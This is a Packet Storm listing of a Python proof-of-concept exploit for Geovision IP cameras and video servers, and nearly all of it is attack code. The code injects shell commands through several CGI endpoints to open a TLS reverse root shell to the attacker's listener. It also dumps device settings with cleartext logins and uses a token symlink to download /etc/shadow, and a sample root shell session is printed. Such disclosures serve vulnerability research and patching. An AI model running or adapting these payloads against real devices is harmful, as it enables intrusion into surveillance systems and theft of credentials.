Lucene search
K

Geovision Inc. IP Camera / Video Server Remote Command Execution

🗓️ 07 Feb 2018 00:00:00Reported by bashisType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 52 Views

Geovision Inc. IP Camera / Video Server Remote Command Execution PoC by bashis, November 2017. Vulnerabilities: 1. Pop stunnel TLSv1 reverse root shell with ncat. 2. Dump all settings of remote IPC with Login/Passwd in cleartext using CGI endpoints. 3. GeoToken PoC to login and download /etc/shadow

Code
`#!/usr/bin/env python2.7  
#  
# [SOF]  
#  
# Geovision Inc. IP Camera & Video Server Remote Command Execution PoC  
# Researcher: bashis <mcw noemail eu> (November 2017)  
#  
###########################################################################################  
#  
# 1. Pop stunnel TLSv1 reverse root shell [Local listener: 'ncat -vlp <LPORT> --ssl'; Verified w/ v7.60]  
# 2. Dump all settings of remote IPC with Login/Passwd in cleartext  
# Using:  
# - CGI: 'Usersetting.cgi' (Logged in user) < v3.12 (Very old) [Used as default]  
# - CGI: 'FilterSetting.cgi' (Logged in user) < v3.12 (Very old)  
# - CGI: 'PictureCatch.cgi' (Anonymous) > v3.10  
# - CGI: 'JpegStream.cgi' (Anonymous) > v3.10  
# 3. GeoToken PoC to login and download /etc/shadow via generated token symlink  
#  
# Sample reverse shell:  
# $ ncat -vlp 1337 --ssl  
# Ncat: Version 7.60 ( https://nmap.org/ncat )  
# Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.  
# Ncat: SHA-1 fingerprint: 3469 C118 43F0 043A 5168 189B 1D67 1131 4B5B 1603  
# Ncat: Listening on :::1337  
# Ncat: Listening on 0.0.0.0:1337  
# Ncat: Connection from 192.168.57.20.  
# Ncat: Connection from 192.168.57.20:16945.  
# /bin/sh: can't access tty; job control turned off  
# /www # id  
# id  
# uid=0(root) gid=0(root)  
# /www # uname -a  
# uname -a  
# Linux IPCAM 2.6.18_pro500-davinci #1 Mon Jun 19 21:27:10 CST 2017 armv5tejl unknown  
# /www # exit  
# $  
  
############################################################################################  
  
import sys  
import socket  
import urllib, urllib2, httplib  
import json  
import hashlib  
import commentjson # pip install commentjson  
import xmltodict # pip install xmltodict  
import select  
import string  
import argparse  
import random  
import base64  
import ssl  
import json  
import os  
import re  
  
#from pwn import *  
  
def split2len(s, n):  
def _f(s, n):  
while s:  
yield s[:n]  
s = s[n:]  
return list(_f(s, n))  
  
# Ignore download of '302 Found/Location' redirections  
class NoRedirection(urllib2.HTTPErrorProcessor):  
  
def http_response(self, request, response):  
return response  
https_response = http_response  
  
class HTTPconnect:  
  
def __init__(self, host, proto, verbose, credentials, Raw, noexploit):  
self.host = host  
self.proto = proto  
self.verbose = verbose  
self.credentials = credentials  
self.Raw = Raw  
self.noexploit = False  
self.noexploit = noexploit  
  
def Send(self, uri, query_headers, query_data, ID):  
self.uri = uri  
self.query_headers = query_headers  
self.query_data = query_data  
self.ID = ID  
  
# Connect-timeout in seconds  
timeout = 10  
socket.setdefaulttimeout(timeout)  
  
url = '{}://{}{}'.format(self.proto, self.host, self.uri)  
  
if self.verbose:  
print "[Verbose] Sending:", url  
  
if self.proto == 'https':  
if hasattr(ssl, '_create_unverified_context'):  
print "[i] Creating SSL Unverified Context"  
ssl._create_default_https_context = ssl._create_unverified_context  
  
if self.credentials:  
Basic_Auth = self.credentials.split(':')  
if self.verbose:  
print "[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1]  
try:  
pwd_mgr = urllib2.HTTPpasswordMgrWithDefaultDahua_realm()  
pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])  
auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)  
if verbose:  
http_logger = urllib2.HTTPHandler(debuglevel = 1) # HTTPSHandler... for HTTPS  
opener = urllib2.build_opener(auth_handler,NoRedirection,http_logger)  
else:  
opener = urllib2.build_opener(auth_handler,NoRedirection)  
urllib2.install_opener(opener)  
except Exception as e:  
print "[!] Basic Auth Error:",e  
sys.exit(1)  
else:  
# Don't follow redirects!  
if verbose:  
http_logger = urllib2.HTTPHandler(debuglevel = 1)  
opener = urllib2.build_opener(http_logger,NoRedirection)  
urllib2.install_opener(opener)  
else:  
NoRedir = urllib2.build_opener(NoRedirection)  
urllib2.install_opener(NoRedir)  
  
  
if self.noexploit and not self.verbose:  
print "[<] 204 Not Sending!"  
html = "Not sending any data"  
return html  
else:  
if self.query_data:  
req = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)  
if self.ID:  
Cookie = 'CLIENT_ID={}'.format(self.ID)  
req.add_header('Cookie', Cookie)  
else:  
req = urllib2.Request(url, None, headers=self.query_headers)  
if self.ID:  
Cookie = 'CLIENT_ID={}'.format(self.ID)  
req.add_header('Cookie', Cookie)  
rsp = urllib2.urlopen(req)  
if rsp:  
print "[<] {}".format(rsp.code)  
  
if self.Raw:  
return rsp  
else:  
html = rsp.read()  
return html  
  
  
  
#  
# Validate correctness of HOST, IP and PORT  
#  
class Validate:  
  
def __init__(self,verbose):  
self.verbose = verbose  
  
# Check if IP is valid  
def CheckIP(self,IP):  
self.IP = IP  
  
ip = self.IP.split('.')  
if len(ip) != 4:  
return False  
for tmp in ip:  
if not tmp.isdigit():  
return False  
i = int(tmp)  
if i < 0 or i > 255:  
return False  
return True  
  
# Check if PORT is valid  
def Port(self,PORT):  
self.PORT = PORT  
  
if int(self.PORT) < 1 or int(self.PORT) > 65535:  
return False  
else:  
return True  
  
# Check if HOST is valid  
def Host(self,HOST):  
self.HOST = HOST  
  
try:  
# Check valid IP  
socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP  
# Now we check if it is correct typed IP  
if self.CheckIP(self.HOST):  
return self.HOST  
else:  
return False  
except socket.error as e:  
# Else check valid DNS name, and use the IP address  
try:  
self.HOST = socket.gethostbyname(self.HOST)  
return self.HOST  
except socket.error as e:  
return False  
  
  
  
class Geovision:  
  
def __init__(self, rhost, proto, verbose, credentials, raw_request, noexploit, headers, SessionID):  
self.rhost = rhost  
self.proto = proto  
self.verbose = verbose  
self.credentials = credentials  
self.raw_request = raw_request  
self.noexploit = noexploit  
self.headers = headers  
self.SessionID = SessionID  
  
  
def Login(self):  
  
try:  
  
print "[>] Requesting keys from remote"  
URI = '/ssi.cgi/Login.htm'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)  
response = response.read()[:1500]  
response = re.split('[()<>?"\n_&;/ ]',response)  
# print response  
  
except Exception as e:  
print "[!] Can't access remote host... ({})".format(e)  
sys.exit(1)  
  
try:  
#  
# Geovision way to have MD5 random Login and Password  
#  
CC1 = ''  
CC2 = ''  
for check in range(0,len(response)):  
if response[check] == 'cc1=':  
CC1 = response[check+1]  
print "[i] Random key CC1: {}".format(response[check+1])  
elif response[check] == 'cc2=':  
CC2 = response[check+1]  
print "[i] Random key CC2: {}".format(response[check+1])  
"""  
#  
# Less interesting to know, but leave it here anyway.  
#  
# If the remote server has enabled guest view, these below will not be '0'  
elif response[check] == 'GuestIdentify':  
print "[i] GuestIdentify: {}".format(response[check+2])  
elif response[check] == 'uid':  
if response[check+2]:  
print "[i] uid: {}".format(response[check+2])  
else:  
print "[i] uid: {}".format(response[check+3])  
elif response[check] == 'pid':  
if response[check+2]:  
print "[i] pid: {}".format(response[check+2])  
else:  
print "[i] pid: {}".format(response[check+3])  
"""  
  
if not CC1 and not CC2:  
print "[!] CC1 and CC2 missing!"  
print "[!] Cannot generate MD5, exiting.."  
sys.exit(0)  
  
#  
# Geovision MD5 Format  
#  
uMD5 = hashlib.md5(CC1 + username + CC2).hexdigest().upper()  
pMD5 = hashlib.md5(CC2 + password + CC1).hexdigest().upper()  
# print "[i] User MD5: {}".format(uMD5)  
# print "[i] Pass MD5: {}".format(pMD5)  
  
  
self.query_args = {  
"username":"",  
"password":"",  
"Apply":"Apply",  
"umd5":uMD5,  
"pmd5":pMD5,  
"browser":1,  
"is_check_OCX_OK":0  
}  
  
print "[>] Logging in"  
URI = '/LoginPC.cgi'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
# print response.info()  
  
# if we don't get 'Set-Cookie' back from the server, the Login has failed  
if not (response.info().get('Set-Cookie')):  
print "[!] Login Failed!"  
sys.exit(1)  
if verbose:  
print "Cookie: {}".format(response.info().get('Set-Cookie'))  
  
return response.info().get('Set-Cookie')  
  
except Exception as e:  
print "[i] What happen? ({})".format(e)  
exit(0)  
  
  
def DeviceInfo(self):  
  
try:  
URI = '/PSIA/System/deviceInfo'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,None)  
deviceinfo = xmltodict.parse(response)  
print "[i] Remote target: {} ({})".format(deviceinfo['DeviceInfo']['model'],deviceinfo['DeviceInfo']['firmwareVersion'])  
return True  
  
except Exception as e:  
print "[i] Info about remote target failed ({})".format(e)  
return False  
  
  
def UserSetting(self,DumpSettings):  
self.DumpSettings = DumpSettings  
  
if self.DumpSettings:  
print "[i] Dump Config of remote"  
SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'  
else:  
  
print "[i] Launching TLSv1 privacy reverse shell"  
self.headers = {  
'Connection': 'close',  
'Accept-Language' : 'en-US,en;q=0.8',  
'Cache-Control' : 'max-age=0',  
'User-Agent':'Mozilla',  
'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'  
}  
SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'  
SH_CMD = SH_CMD.replace("LHOST",lhost)  
SH_CMD = SH_CMD.replace("LPORT",lport)  
  
print "[>] Pwning Usersetting.cgi"  
self.query_args = {  
"umd5":SH_CMD,  
"pmd5":"GEOVISION",  
"nmd5":"PWNED",  
"cnt5":"",  
"username":"",  
"passwordOld":"",  
"passwordNew":"",  
"passwordRetype":"",  
"btnSubmitAdmin":"1",  
"submit":"Apply"  
}  
try:  
URI = '/UserSetting.cgi'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
if DumpSettings:  
print "[i] Dumping"  
URI = '/ssi.cgi/tmp/Login.htm'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)  
print response  
return True  
  
except Exception as e:  
if str(e) == "timed out" or str(e) == "('The read operation timed out',)":  
print "[!] Enjoy the shell... ({})".format(e)  
return True  
  
  
def PictureCatch(self,DumpSettings):  
self.DumpSettings = DumpSettings  
  
if self.DumpSettings:  
print "[i] Dump Config of remote"  
SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'  
else:  
  
print "[i] Launching TLSv1 privacy reverse shell"  
self.headers = {  
'Connection': 'close',  
'Accept-Language' : 'en-US,en;q=0.8',  
'Cache-Control' : 'max-age=0',  
'User-Agent':'Mozilla',  
'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'  
}  
SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'  
SH_CMD = SH_CMD.replace("LHOST",lhost)  
SH_CMD = SH_CMD.replace("LPORT",lport)  
  
print "[>] Pwning PictureCatch.cgi"  
self.query_args = {  
"username":SH_CMD,  
"password":"GEOVISION",  
"attachment":"1",  
"channel":"1",  
"secret":"1",  
"key":"PWNED"  
}  
  
try:  
URI = '/PictureCatch.cgi'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
if DumpSettings:  
print "[i] Dumping"  
URI = '/ssi.cgi/tmp/Login.htm'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)  
print response  
return True  
except Exception as e:  
if str(e) == "timed out" or str(e) == "('The read operation timed out',)":  
print "[!] Enjoy the shell... ({})".format(e)  
return True  
  
  
def JpegStream(self,DumpSettings):  
self.DumpSettings = DumpSettings  
  
if self.DumpSettings:  
print "[i] Dump Config of remote"  
SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'  
else:  
  
print "[i] Launching TLSv1 privacy reverse shell"  
self.headers = {  
'Connection': 'close',  
'Accept-Language' : 'en-US,en;q=0.8',  
'Cache-Control' : 'max-age=0',  
'User-Agent':'Mozilla',  
'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'  
}  
SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'  
SH_CMD = SH_CMD.replace("LHOST",lhost)  
SH_CMD = SH_CMD.replace("LPORT",lport)  
  
print "[>] Pwning JpegStream.cgi"  
self.query_args = {  
"username":SH_CMD,  
"password":"GEOVISION",  
"attachment":"1",  
"channel":"1",  
"secret":"1",  
"key":"PWNED"  
}  
  
try:  
URI = '/JpegStream.cgi'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
if DumpSettings:  
print "[i] Dumping"  
URI = '/ssi.cgi/tmp/Login.htm'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)  
print response  
return True  
except Exception as e:  
if str(e) == "timed out" or str(e) == "('The read operation timed out',)":  
print "[!] Enjoy the shell... ({})".format(e)  
return True  
  
#  
# Interesting example of bad code and insufficent sanitation of user input.  
# ';' is filtered in v3.12, and when found in the packet, the packet is simply ignored.  
#  
# Later in the chain the Geovision code will write provided userinput to flash, we may overwrite unwanted flash area if we playing to much here.  
# So, we are limited to 31 char per line (32 MUST BE NULL), to play safe game with this bug.  
#  
# v3.10->3.12 changed how to handle ipfilter  
# From:  
# User input to system() call in FilterSetting.cgi to set iptable rules and then save them in flash  
# To:  
# User input transferred from 'FilterSetting.cgi' to flash (/dev/mtd11), and when the tickbox to activate the filter rules,  
# '/usr/local/bin/geobox-iptables-reload' is triggered to read these rules from flash and '/usr/local/bin/iptables' via 'geo_net_filter_table_add'  
# with system() call in 'libgeo_net.so'  
#   
  
# Should end up into;  
# 23835 root 576 S sh -c /usr/local/bin/iptables -A INPUT -s `/usr/loca...[trunkated]  
# 23836 root 2428 S /usr/local/bin/stunnel /tmp/x  
# 23837 root 824 S /bin/sh  
  
  
def FilterSetting(self):  
  
try:  
print "[>] Pwning FilterSetting.cgi"  
#  
# ';' will be treated by the code as LF  
#   
# Let's use some TLSv1 privacy for the reverse shell   
#  
SH_CMD = 'client=yes;connect=LHOST:LPORT;exec=/bin/sh;pty=yes;sslVersion=TLSv1'  
#  
SH_CMD = SH_CMD.replace("LHOST",lhost)  
SH_CMD = SH_CMD.replace("LPORT",lport)  
ShDict = SH_CMD.split(';')  
  
MAX_SIZE = 31 # Max Size of the strings to generate  
LF = 0  
LINE = 0  
CMD = {}  
CMD_NO_LF = "`echo -n \"TMP\">>/tmp/x`"  
CMD_DO_LF = "`echo \"TMP\">>/tmp/x`"  
SIZE = MAX_SIZE-(len(CMD_NO_LF)-3) # Size of availible space for our input in 'SH_CMD'  
  
# Remove, just in case  
CMD[LINE] = "`rm -f /tmp/x`"  
  
URI = '/FilterSetting.cgi'  
#  
# This loop will make the correct aligment of user input  
#  
for cmd in range(0,len(ShDict)):  
CMD_LF = math.ceil(float(len(ShDict[cmd])) / SIZE)  
cmd_split = split2len(ShDict[cmd], SIZE)  
for CMD_LEN in range(0,len(cmd_split)):  
LINE += 1  
LF += 1  
if (len(cmd_split[CMD_LEN]) > SIZE-1) and (CMD_LF != LF):  
CMD[LINE] = CMD_NO_LF.replace("TMP",cmd_split[CMD_LEN])  
else:  
CMD[LINE] = CMD_DO_LF.replace("TMP",cmd_split[CMD_LEN])  
LF = 0  
if verbose:  
print "Len: {} {}".format(len(CMD[LINE]),CMD[LINE])  
  
# Add two more commands to execute stunnel and remove /tmp/x  
CMD[LINE+1] = "`/usr/local/bin/stunnel /tmp/x`" # 31 char, no /usr/local/bin in $PATH  
CMD[LINE+2] = "`rm -f /tmp/x`" # Some bug here, think it is timing as below working  
CMD[LINE+3] = "`rm -f /tmp/x`" # Working, this is only one more add/enable/disable/remove loop  
#  
# Below while() loop will create following /tmp/x, execute 'stunnel' and remove /tmp/x  
#  
# client=yes  
# connect=<LHOST>:<LPORT>  
# exec=/bin/sh  
# pty=yes  
# sslVersion=TLSv1  
#  
  
NEW_IP_FILTER = 1 # > v3.12  
CMD_LEN = 0  
who = 0  
# Clean up to make room, just in case  
for Remove in range(0,4):  
print "[>] Cleaning ipfilter entry: {}".format(Remove+1)  
self.query_args = {  
"bPolicy":"0", # 1 = Enable, 0 = Disable  
"Delete":"Remove", # Remove entry  
"szIpAddr":"",  
"byOpId":"0", # 0 = Allow, 1 = Deny  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
while True:  
if who == len(CMD):  
break  
if CMD_LEN < 4:  
  
print "[>] Sending: {} ({})".format(CMD[who],len(CMD[who]))  
self.query_args = {  
"szIpAddr":CMD[who], # 31 char limit  
"byOpId":"0", # 0 = Allow, 1 = Deny  
"dwSelIndex":"0", # Seems not to be in use  
"Add":"Apply"  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
response = re.split('[()<>?"\n_&;/ ]',response)  
print response  
if NEW_IP_FILTER:  
for cnt in range(0,len(response)):  
if response[cnt] == 'iptables':  
NEW_IP_FILTER = 0  
print "[i] Remote don't need Enable/Disable"  
break  
CMD_LEN += 1  
who += 1  
time.sleep(2) # Seems to be too fast without  
# NEW Way  
elif NEW_IP_FILTER:  
print "[>] Enabling ipfilter"  
self.query_args = {  
"bPolicy":"1", # 1 = Enable, 0 = Disable  
"szIpAddr":"",  
"byOpId":"0", # 0 = Allow, 1 = Deny  
"dwSelIndex":"0",  
}  
  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
print "[i] Sleeping..."  
time.sleep(5)  
  
print "[>] Disabling ipfilter"  
self.query_args = {  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
for Remove in range(0,4):  
print "[>] Deleting ipfilter Entry: {}".format(Remove+1)  
self.query_args = {  
"bPolicy":"0", # 1 = Enable, 0 = Disable  
"Delete":"Remove",  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
CMD_LEN = 0  
# OLD Way  
else:  
for Remove in range(0,4):  
print "[>] Deleting ipfilter Entry: {}".format(Remove+1)  
self.query_args = {  
"bPolicy":"0", # 1 = Enable, 0 = Disable  
"Delete":"Remove",  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
CMD_LEN = 0  
  
if NEW_IP_FILTER:  
print "[i] Last sending"  
print "[>] Enabling ipfilter"  
self.query_args = {  
"bPolicy":"1", # 1 = Enable, 0 = Disable  
"szIpAddr":"",  
"byOpId":"0", # 0 = Allow, 1 = Deny  
"dwSelIndex":"0",  
}  
  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
print "[i] Sleeping..."  
time.sleep(5)  
  
print "[>] Disabling ipfilter"  
self.query_args = {  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
for Remove in range(0,4):  
print "[>] Deleting ipfilter Entry: {}".format(Remove+1)  
self.query_args = {  
"bPolicy":"0", # 1 = Enable, 0 = Disable  
"Delete":"Remove",  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
  
print "[!] Enjoy the shell... "  
  
return True  
  
except Exception as e:  
  
if not NEW_IP_FILTER:  
print "[i] Last sending"  
for Remove in range(0,4):  
print "[>] Deleting ipfilter Entry: {}".format(Remove+1)  
self.query_args = {  
"bPolicy":"0", # 1 = Enable, 0 = Disable  
"Delete":"Remove",  
"szIpAddr":"",  
"byOpId":"0",  
"dwSelIndex":"0",  
}  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)  
print "[!] Enjoy the shell... "  
return True  
  
print "[!] Hmm... {}".format(e)  
print response.read()  
return True  
  
  
def GeoToken(self):  
  
print "[i] GeoToken PoC to login and download /etc/shadow via token symlink"  
print "[!] You must have valid login and password to generate the symlink"  
try:  
  
#########################################################################################  
# This is how to list remote *.wav and *.avi files in /storage.  
  
"""  
print "[>] Requesting token1"  
URI = '/BKCmdToken.php'  
response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,None,None)  
result = json.load(response)  
if verbose:  
print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))  
  
print "[i] Request OK?: {}".format(result['success'])  
if not result['success']:  
sys.exit(1)  
token1 = result['token']  
  
#  
# SAMPLE OUTPUT  
#  
#{  
# "success": true,  
# "token": "6fe1a7c1f34431acc7eaecba646b7caf"  
#}  
#  
# Generate correct MD5 token2  
token2 = hashlib.md5(hashlib.md5(token1 + 'gEo').hexdigest() + 'vIsIon').hexdigest()  
query_args = {  
"token1":token1,  
"token2":token2  
}  
  
print "[>] List files"  
URI = '/BKFileList.php'  
response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,None)  
result = json.load(response)  
if verbose:  
print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))  
  
for who in result.keys():  
print len(who)  
#  
# SAMPLE OUTPUT  
#  
#{  
# "files": [  
# {  
# "file_size": "2904170",  
# "filename": "event20171105104946001.avi",  
# "remote_path": "/storage/hd11-1/GV-MFD1501-0a99a9/cam01/2017/11/05"  
# },  
# {}  
# ]  
#}  
#########################################################################################  
"""  
  
# Request remote MD5 token1  
print "[>] Requesting token1"  
URI = '/BKCmdToken.php'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)  
result = json.load(response)  
if verbose:  
print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))  
  
print "[i] Request OK?: {}".format(result['success'])  
if not result['success']:  
return False  
token1 = result['token']  
#  
# SAMPLE OUTPUT   
#{  
# "success": true,  
# "token": "6fe1a7c1f34431acc7eaecba646b7caf"  
#}  
#  
#  
# Generate correct MD5 token2  
#  
# MD5 Format: <login>:<token1>:<password>  
#  
token2 = hashlib.md5(username + ':' + token1 + ':' + password).hexdigest()   
  
#  
# symlink this file for us  
#  
filename = '/etc/shadow'  
  
self.query_args = {  
"token1":token1,  
"token2":token2,  
"filename":filename  
}  
  
print "[>] Requesting download file link"  
URI = '/BKDownloadLink.cgi'  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)  
response = response.read()#[:900]  
response = response.replace("'", "\"")  
result = json.loads(response)  
print "[i] Request OK?: {}".format(result['success'])  
if not result['success']:  
return False  
if verbose:  
print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))  
  
  
#  
# SAMPLE OUTPUT  
#  
#{  
# "dl_folder": "/tmp",  
# "dl_token": "C71689493825787.dltoken",  
# "err_code": 0,  
# "success": true  
#}  
#  
  
URI = '/ssi.cgi' + result['dl_folder'] + '/' + result['dl_token']  
  
print "[>] downloading ({}) with ({})".format(filename,URI)  
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)  
response = response.read()  
print response  
return True  
  
except Exception as e:  
print "[i] GEO Token fail ({})".format(e)  
return False  
  
  
if __name__ == '__main__':  
  
#  
# Help, info and pre-defined values  
#   
INFO = '[Geovision Inc. IPC/IPV RCE PoCs (2017 bashis <mcw noemail eu>)]\n'  
HTTP = "http"  
HTTPS = "https"  
proto = HTTP  
verbose = False  
noexploit = False  
raw_request = True  
rhost = '192.168.57.20' # Default Remote HOST  
rport = '80' # Default Remote PORT  
lhost = '192.168.57.1' # Default Local HOST  
lport = '1337' # Default Local PORT  
# creds = 'root:pass'  
credentials = False  
  
#  
# Geovision stuff  
#  
SessionID = str(int(random.random() * 100000))  
DumpSettings = False  
deviceinfo = False  
GEOtoken = False  
anonymous = False  
filtersetting = False  
usersetting = False  
jpegstream = False  
picturecatch = False  
# Geovision default  
username = 'admin'  
password = 'admin'  
  
#   
# Try to parse all arguments  
#  
try:  
arg_parser = argparse.ArgumentParser(  
prog=sys.argv[0],  
description=('[*] '+ INFO +' [*]'))  
arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')  
arg_parser.add_argument('--rport', required=True, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')  
arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')  
arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')  
arg_parser.add_argument('--autoip', required=False, default=False, action='store_true', help='Detect External Connect Back IP [Default: False]')  
  
arg_parser.add_argument('--deviceinfo', required=False, default=False, action='store_true', help='Request model and firmware version')  
  
arg_parser.add_argument('-g','--geotoken', required=False, default=False, action='store_true', help='Try retrieve /etc/shadow with geotoken')  
arg_parser.add_argument('-a','--anonymous', required=False, default=False, action='store_true', help='Try pwning as anonymous')  
arg_parser.add_argument('-f','--filtersetting', required=False, default=False, action='store_true', help='Try pwning with FilterSetting.cgi')  
arg_parser.add_argument('-p','--picturecatch', required=False, default=False, action='store_true', help='Try pwning with PictureCatch.cgi')  
arg_parser.add_argument('-j','--jpegstream', required=False, default=False, action='store_true', help='Try pwning with JpegStream.cgi')  
arg_parser.add_argument('-u','--usersetting', required=False, default=False, action='store_true', help='Try pwning with UserSetting.cgi')  
arg_parser.add_argument('-d','--dump', required=False, default=False, action='store_true', help='Try pwning remote config')  
  
  
arg_parser.add_argument('--username', required=False, help='Username [Default: '+ username +']')  
arg_parser.add_argument('--password', required=False, help='password [Default: '+ password +']')  
if credentials:  
arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ credentials + ']')  
arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')  
arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')  
arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')  
args = arg_parser.parse_args()  
except Exception as e:  
print INFO,"\nError: {}\n".format(str(e))  
sys.exit(1)  
  
print "\n[*]",INFO  
  
if args.verbose:  
verbose = args.verbose  
#  
# Check validity, update if needed, of provided options  
#  
if args.https:  
proto = HTTPS  
if not args.rport:  
rport = '443'  
  
if credentials and args.auth:  
credentials = args.auth  
  
if args.geotoken:  
GEOtoken = args.geotoken  
  
if args.anonymous:  
anonymous = True  
  
if args.deviceinfo:  
deviceinfo = True  
  
if args.dump:  
DumpSettings = True  
  
if args.filtersetting:  
FilterSetting = True  
  
if args.usersetting:  
usersetting = True  
  
if args.jpegstream:  
jpegstream = True  
  
if args.picturecatch:  
picturecatch = True  
  
if args.username:  
username = args.username  
  
if args.password:  
password = args.password  
  
if args.noexploit:  
noexploit = args.noexploit  
  
if args.rport:  
rport = args.rport  
  
if args.rhost:  
rhost = args.rhost  
IP = args.rhost  
  
if args.lport:  
lport = args.lport  
  
if args.lhost:  
lhost = args.lhost  
elif args.autoip:  
# HTTP check of our external IP  
try:  
  
headers = {  
'Connection': 'close',  
'Accept' : 'gzip, deflate',  
'Accept-Language' : 'en-US,en;q=0.8',  
'Cache-Control' : 'max-age=0',  
'User-Agent':'Mozilla'  
}  
  
print "[>] Trying to find out my external IP"  
lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None)  
if verbose:  
print "[Verbose] Detected my external IP:",lhost  
except Exception as e:  
print "[<] ",e  
sys.exit(1)  
  
# Check if RPORT is valid  
if not Validate(verbose).Port(rport):  
print "[!] Invalid RPORT - Choose between 1 and 65535"  
sys.exit(1)  
  
# Check if RHOST is valid IP or FQDN, get IP back  
rhost = Validate(verbose).Host(rhost)  
if not rhost:  
print "[!] Invalid RHOST"  
sys.exit(1)  
  
# Check if LHOST is valid IP or FQDN, get IP back  
lhost = Validate(verbose).Host(lhost)  
if not lhost:  
print "[!] Invalid LHOST"  
